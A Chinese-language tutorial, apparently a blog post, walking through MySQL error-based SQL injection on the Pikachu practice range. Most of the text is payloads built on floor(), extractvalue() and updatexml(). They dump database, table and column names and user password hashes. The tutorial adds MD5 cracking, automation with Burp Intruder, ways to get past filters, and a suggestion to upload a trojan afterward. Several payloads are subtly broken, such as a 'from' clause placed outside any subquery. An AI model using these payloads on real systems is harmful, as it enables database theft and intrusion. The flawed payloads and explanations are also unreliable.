SQL 报错注入

一、SQL 报错注入(3 大核心函数)详细解题步骤

核心前提
  • 目标:通过报错注入获取数据库敏感数据(库名、表名、列名、账号密码)
  • 适用场景:页面无数据回显位 (无法使用联合查询),但开启错误信息输出(存在mysql_error()等报错函数)
  • 核心原理:构造错误 SQL 语句,利用报错函数将目标数据嵌入报错信息中,从前端提取
  • 核心依赖:MySQL 数据库(floor()extractvalue()updatexml()为 MySQL 特有函数)

二、完整解题步骤(分 9 个阶段)

阶段 1:环境准备与工具配置
步骤 1.1:搭建本地测试环境
  • 安装 PHPStudy,启动 Apache+MySQL 服务
  • 导入皮卡丘靶场(或自定义测试数据库),确保靶场可正常访问(如http://127.0.0.1/pikachu/sqli/error.php
  • 验证报错功能:访问靶场并输入单引号',页面显示 SQL 语法错误(如You have an error in your SQL syntax),确认满足报错注入前提
步骤 1.2:配置抓包工具(Burp Suite)
  1. 启动 Burp Suite,默认监听端口8080
  2. 配置火狐浏览器代理:IP=127.0.0.1,端口 = 8080,与 Burp 监听端口一致
  3. 启用抓包:确保 Burp 可正常抓取浏览器请求(测试访问靶场,确认数据包能在 Burp 中显示)
注意事项
  • 若页面输入单引号无报错,说明网站屏蔽了错误信息,无法使用报错注入,需换布尔盲注或时间盲注
  • 抓包前需关闭浏览器代理插件冲突(如其他 VPN、代理工具),避免无法抓取数据包

阶段 2:注入点检测与注入类型判断
步骤 2.1:寻找注入点
  • 目标 URL:假设为http://127.0.0.1/pikachu/sqli/error.php?id=1(参数id为疑似注入点)
  • 测试逻辑:优先测试 URL 参数,其次是表单、Cookie 等用户可输入位置
步骤 2.2:判断注入类型(字符型 / 数字型)

表格

测试方法 Payload 预期结果 结论
单引号报错法 ?id=1' 页面报错,提示 "单引号不匹配"(如near ''1''' at line 1 字符型注入(参数被单引号包裹)
单引号报错法 ?id=1' 页面无报错,仅显示 "查询失败" 数字型注入(参数无引号包裹)
布尔语句验证 字符型:?id=1' and 1=1 --+ 页面正常显示(无报错,因and 1=1恒真) 确认字符型注入
布尔语句验证 数字型:?id=1 and 1=2 页面显示 "查询失败"(无报错,因and 1=2恒假) 确认数字型注入
注意事项
  • 字符型注入必须用--+注释后续语句(+在 URL 中编码为空格,--为 SQL 注释符),不可用##在 URL 中是片段 ID 标识,数据库无法识别)
  • 若注入点为 POST 表单,需在 Burp 的 Repeater 模块中修改 POST 参数(如username=1'&password=1),而非 URL 参数

阶段 3:核心报错函数原理与 Payload 模板
3.1 floor () 函数(最常用,无长度限制)
核心原理
  • 函数组合:floor()(向下取整)+ count(*)(计数)+ group by(分组)+ rand(0)(伪随机数)
  • 报错触发:group by分组时创建虚拟表(主键唯一),rand(0)在 "判断分组存在" 和 "插入新分组" 时执行两次,结果不一致导致主键重复,触发报错
  • 数据嵌入:通过concat()将目标数据与分组键连接,随报错信息输出
基础 Payload 模板
  • 字符型注入: sql

    复制代码
    ?id=1' and (select count(*) from information_schema.columns group by concat(0x3A, 目标语句, 0x3A, floor(rand(0)*2))) --+
  • 数字型注入(无需单引号闭合): sql

    复制代码
    ?id=1 and (select count(*) from information_schema.columns group by concat(0x3A, 目标语句, 0x3A, floor(rand(0)*2)))
  • 模板说明:

    • information_schema.columns:MySQL 系统表(必存在,避免因表不存在报错)
    • 0x3A:十六进制冒号(:),用于包裹目标数据,方便从报错信息中筛选
    • 目标语句:需替换为database()(查库名)、user()(查用户名)等
3.2 extractvalue () 函数(简单易用,有 32 位长度限制)
核心原理
  • 函数本身作用:查询 XML 文档的 XPath 路径(语法:extractvalue(XML文档, XPath路径)
  • 报错触发:XPath 路径需为有效格式,故意传入无效格式(嵌入目标语句),触发语法错误
  • 关键限制:返回结果最大长度为 32 位,超过需结合substring()截取
基础 Payload 模板
  • 字符型注入: sql

    复制代码
    ?id=1' and extractvalue(1, concat(0x3A, 目标语句, 0x3A)) --+
  • 注意:必须拼接特殊字符(如0x3A),否则目标数据无法显示

3.3 updatexml () 函数(支持修改 XML,32 位长度限制)
核心原理
  • 函数本身作用:修改 XML 文档的 XPath 路径(语法:updatexml(XML文档, XPath路径, 替换值)
  • 报错触发:与extractvalue()一致,传入无效 XPath 路径(嵌入目标语句),触发语法错误
  • 关键限制:返回结果最大长度为 32 位,需配合字符串截取函数
基础 Payload 模板
  • 字符型注入: sql

    复制代码
    ?id=1' and updatexml(1, concat(0x3A, 目标语句, 0x3A), 1) --+
  • 注意:前两个参数需传入无效格式,第三个参数可随便填(如1

注意事项
  • rand()必须加种子0rand(0)),否则为真随机数,可能无法稳定触发报错
  • extractvalue()updatexml()的 32 位长度限制:超过时需用substring(目标语句, 起始位置, 长度)截取(如substring(database(), 33, 32)

阶段 4:拼接方式选择(and/or)
核心逻辑(避免 "短路效应")
  • 前语句为真(如id=1存在):用and拼接(and需前后均为真才执行后续语句)
  • 前语句为假(如id=999不存在):用or拼接(or需前后均为假才不执行后续语句)
  • 示例:
    • 前语句为真(id=1存在):?id=1' and extractvalue(1, concat(0x3A, database(), 0x3A)) --+
    • 前语句为假(id=999不存在):?id=999' or extractvalue(1, concat(0x3A, database(), 0x3A)) --+
注意事项
  • 若拼接后无报错,大概率是触发了 "短路效应",需切换and/or重新测试
  • 字符型注入必须闭合单引号 + 注释,否则语法错误导致语句不执行

阶段 5:获取核心元数据(库名→表名→列名)
步骤 5.1:获取当前数据库名
  • 用 floor () 函数(字符型): sql

    复制代码
    ?id=1' and (select count(*) from information_schema.columns group by concat(0x3A, database(), 0x3A, floor(rand(0)*2))) --+
  • 报错信息示例:Duplicate entry ':pikachu:1' for key 'group_key',提取数据库名pikachu

  • 用 extractvalue () 函数(字符型): sql

    复制代码
    ?id=1' and extractvalue(1, concat(0x3A, database(), 0x3A)) --+
  • 报错信息示例:XPATH syntax error: ':pikachu:',提取数据库名pikachu

步骤 5.2:获取目标数据库的表名
  • 需求:获取pikachu数据库下的所有表名

  • 方法 1:逐个获取(LIMIT分页,floor () 函数)

    sql

    复制代码
    ?id=1' and (select count(*) from information_schema.tables where table_schema='pikachu' group by concat(0x3A, table_name, 0x3A, floor(rand(0)*2), limit 0,1)) --+
    • limit 0,1:获取第 1 个表名(如user
    • limit 1,1:获取第 2 个表名(如flag
  • 方法 2:批量获取(group_concat(),extractvalue () 函数)

    sql

    复制代码
    ?id=1' and extractvalue(1, concat(0x3A, group_concat(table_name), 0x3A)) from information_schema.tables where table_schema='pikachu' --+
    • 注意:若表名总长度超过 32 位,需用substring()截取
步骤 5.3:获取目标表的列名
  • 需求:获取pikachu数据库下user表的所有列名

  • 字符型 Payload(updatexml () 函数): sql

    复制代码
    ?id=1' and updatexml(1, concat(0x3A, group_concat(column_name), 0x3A), 1) from information_schema.columns where table_schema='pikachu' and table_name='user' --+
  • 报错信息示例:XPATH syntax error: ':id,username,password:',提取列名idusernamepassword

注意事项
  • 若目标表名 / 库名包含特殊字符,或被单引号过滤,可将名称转换为十六进制(如pikachu0x70696B61636875),Payload 示例:

    sql

    复制代码
    ?id=1' and extractvalue(1, concat(0x3A, group_concat(table_name), 0x3A)) from information_schema.tables where table_schema=0x70696B61636875 --+
  • group_concat()默认连接长度有限制(约 1024 字符),若表名 / 列名过多,需用LIMIT逐个获取


阶段 6:获取敏感数据(账号密码)
步骤 6.1:构造数据查询 Payload
  • 需求:获取user表中usernamepassword字段的数据

  • 字符型 Payload(floor () 函数,批量获取): sql

    复制代码
    ?id=1' and (select count(*) from pikachu.user group by concat(0x3A, group_concat(username,0x7C,password), 0x3A, floor(rand(0)*2))) --+
  • 说明:

    • 0x7C:十六进制竖线|,用于分隔用户名和密码(如admin|e10adc3949ba59abbe56e057f20f883e
    • pikachu.user:指定数据库和表(避免表名冲突)
步骤 6.2:提取并解密数据
  • 执行结果:报错信息中包含:admin|e10adc3949ba59abbe56e057f20f883e,pikachu|123456:
  • 密码解密:访问 MD5 在线解密网站(如https://www.cmd5.com/),输入加密密码e10adc3949ba59abbe56e057f20f883e,解密得到明文123456
注意事项
  • 若数据量较大,group_concat()可能无法完整显示,需用LIMIT分页获取(如limit 0,1获取第一行数据)
  • 复杂密码(强加密)可能无法通过免费在线工具解密,需使用字典爆破工具(如 Hashcat)

阶段 7:处理超长数据(32 位长度限制解决方案)
问题场景
  • extractvalue()/updatexml()返回结果最大为 32 位,超长数据(如长库名、多个表名)无法完整显示
解决方案:substring()截取字符串
  • 函数语法:substring(目标语句, 起始位置, 截取长度)

  • 示例(获取超长数据库名): sql

    复制代码
    ?id=1' and extractvalue(1, concat(0x3A, substring(group_concat(schema_name), 1, 32), 0x3A)) from information_schema.schemata --+

    sql

    复制代码
    ?id=1' and extractvalue(1, concat(0x3A, substring(group_concat(schema_name), 33, 32), 0x3A)) from information_schema.schemata --+
  • 说明:

    • 第一句截取前 32 位,第二句截取 33-64 位,依次类推,直至获取完整数据
注意事项
  • 起始位置从 1 开始计数,而非 0
  • 截取长度建议设为 32(与函数限制一致),避免超出限制

阶段 8:批量获取数据(抓包工具自动化)
步骤 8.1:自动化遍历分页数据
  1. 抓包:在 Burp 中抓取报错注入请求,发送到Intruder模块;
  2. 清除变量:在Positions标签页中,清除默认变量,仅选中LIMIT后的分页参数(如limit 0,1中的0);
  3. 配置 payload:
    • 选择Payload typeNumbers(数字);
    • 设置From=0,To=10(假设最多 10 行数据),Step=1(步长 1);
  4. 开始攻击:点击Start attack,Burp 会自动遍历所有分页数据;
  5. 筛选结果:在攻击结果中搜索:(冒号包裹的内容),快速提取所有敏感数据。
注意事项
  • 自动化攻击前需确认目标网站无频率限制,避免 IP 被封禁;
  • 步长设置为 1,确保不遗漏数据;若已知数据行数,可精准设置To的值(如已知 5 行数据,To=4)。

阶段 9:注入完成与后续操作
  • 核心成果:获取数据库名、表名、列名、管理员账号密码(如admin/123456
  • 后续操作:可登录网站后台,或进一步执行数据库增删改查、上传木马等操作(仅用于合法渗透测试)
  • 清理痕迹:测试完成后,删除测试生成的临时数据,避免影响靶场环境

三、关键注意事项(避坑指南)

1. 语法与函数类
  • rand(0)不可省略种子0:真随机数(rand())可能导致报错不稳定,伪随机数(rand(0))可确保每次执行结果一致;
  • from后必须指定真实表:优先使用information_schema.columns(MySQL 系统表,必存在),避免因自定义表不存在直接报错;
  • 特殊字符必须编码:URL 中空格→%20、单引号→%27,或用 Burp Repeater 模块自动处理编码;
  • 字符型注入必须闭合 + 注释:Payload 末尾需加--+,否则会因语法错误无法执行(如?id=1' and ... --+)。
2. 长度限制类
  • extractvalue()/updatexml()的 32 位限制:超长数据需用substring()截取,分多次获取;
  • group_concat()默认长度限制:可通过set group_concat_max_len=10240(需管理员权限)扩大限制,或用LIMIT逐个获取。
3. 绕过防护类
  • 大小写混合绕过:若floorextractvalue被过滤,可写成FloorEXTRACTVALUE(MySQL 不区分大小写);
  • 注释插入绕过:若关键字被拦截,可插入注释(如fl/**/oorextra/**/ctvalue);
  • 十六进制转换绕过:单引号被过滤时,将表名 / 库名转换为十六进制(如flag0x666C6167),避免使用单引号。
4. 工具与环境类
  • 抓包工具必须配置正确:Burp 监听端口与浏览器代理端口一致(默认 8080),否则无法抓取数据包;
  • 靶场环境需开启报错功能:输入单引号无报错→无法使用报错注入,需换其他注入方式;
  • 避免 "短路效应":根据前语句的真假状态选择and/or拼接,否则后续注入语句不执行。
5. 法律与合规类
  • 仅对授权目标测试:未授权测试属于非法行为,需承担法律责任;
  • 敏感数据不得泄露:获取的账号密码、数据库信息需严格保密,测试完成后删除相关记录。

四、常见问题排查

表格

问题现象 可能原因 解决方案
执行 Payload 后无报错,仅显示 "查询失败" 注入类型判断错误(字符型 / 数字型混淆) 重新用单引号报错法确认注入类型,调整 Payload 闭合方式
报错信息中无目标数据,仅显示 "主键重复" concat()中未嵌入目标语句,或表不存在 检查 Payload 中concat()是否包含目标语句(如database()),确认from后表存在
多次执行 Payload 报错结果不一致 未加rand(0)种子,使用了真随机数 rand()改为rand(0),确保伪随机数稳定
自动化攻击时 IP 被封禁 网站有频率限制 降低攻击速度(设置 Burp Intruder 延迟),或更换 IP
extractvalue()显示不全 数据长度超过 32 位 substring()分多次截取数据

通过以上步骤,可完整实现三大核心函数的报错注入,高效获取数据库敏感数据。关键在于掌握 "函数组合触发报错" 的核心逻辑,同时注意语法闭合、长度限制和防护绕过

相关推荐
麦聪聊数据2 小时前
统一 Web SQL 平台如何收编企业内部的“野生数据看板”?
数据库·sql·低代码·微服务·架构
山峰哥2 小时前
吃透 SQL 优化:告别慢查询,解锁数据库高性能
服务器·数据库·sql·oracle·性能优化·编辑器
上海云盾商务经理杨杨2 小时前
2025年重大网络安全事件回顾与趋势分析
网络·安全·web安全
TDengine (老段)2 小时前
TDengine IDMP 数据可视化——散点图
大数据·数据库·物联网·信息可视化·时序数据库·tdengine·涛思数据
Project_Observer2 小时前
工时日志在项目进度管理中扮演着怎样的角色?
数据库·深度学习·机器学习
倔强的石头_3 小时前
kingbase备份与恢复实战(一)—— 备份体系、RPO-RTO与选型(Windows+ksql)
数据库
西门吹雪分身3 小时前
mysql之数据离线迁移
数据库·mysql
岛屿旅人3 小时前
2025年中东地区网络安全态势综述
网络·安全·web安全·网络安全
电商API&Tina3 小时前
京东商品详情API接口接入与应用
数据库·microsoft